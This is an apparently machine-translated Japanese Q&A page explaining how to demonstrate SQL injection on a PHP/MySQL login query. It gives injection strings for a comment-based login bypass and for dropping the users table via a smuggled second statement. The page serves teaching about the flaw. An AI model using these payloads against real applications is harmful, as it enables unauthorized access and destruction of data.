sql >> データベース >  >> RDS >> Mysql

このPHPおよびMySQLコードでSQLインジェクションをデモンストレーションする方法は?

    このようなことをする必要があります:

    1. ユーザー「foo」としてログインするには、ユーザー名を「foo」に設定します-「

    これにより、クエリは次のようになります

    $res = mysql_query("SELECT * from users where user='foo' -- ' AND pass=''");
    

    「-」は、行の残りの部分がコメント化されていることを意味します

    1. これが機能するかどうかはわかりませんが、ユーザー名を「foo」に設定してみてくださいOR(DROP TABLE users)-"

    これにより、クエリは次のようになります。

    $res = mysql_query("SELECT * from users where user='foo' OR (DROP TABLE users) -- ' AND pass=''");
    

    しかし、それを受け入れないかもしれません-サブクエリはSELECTしかできないと思います。

    mysql_query関数は1つのクエリのみを実行します-他の人はこれを実行できます:

    $res = mysql_query("SELECT * from users where user='foo'; DROP TABLE users -- ' AND pass=''"); 
    


    1. JavaおよびTomcat7を使用した基本的なDB接続プール

    2. MySQLテーブルのクエリを検索できません

    3. 毎日のアクセスを制限する

    4. ODBC準拠データベースとは何ですか?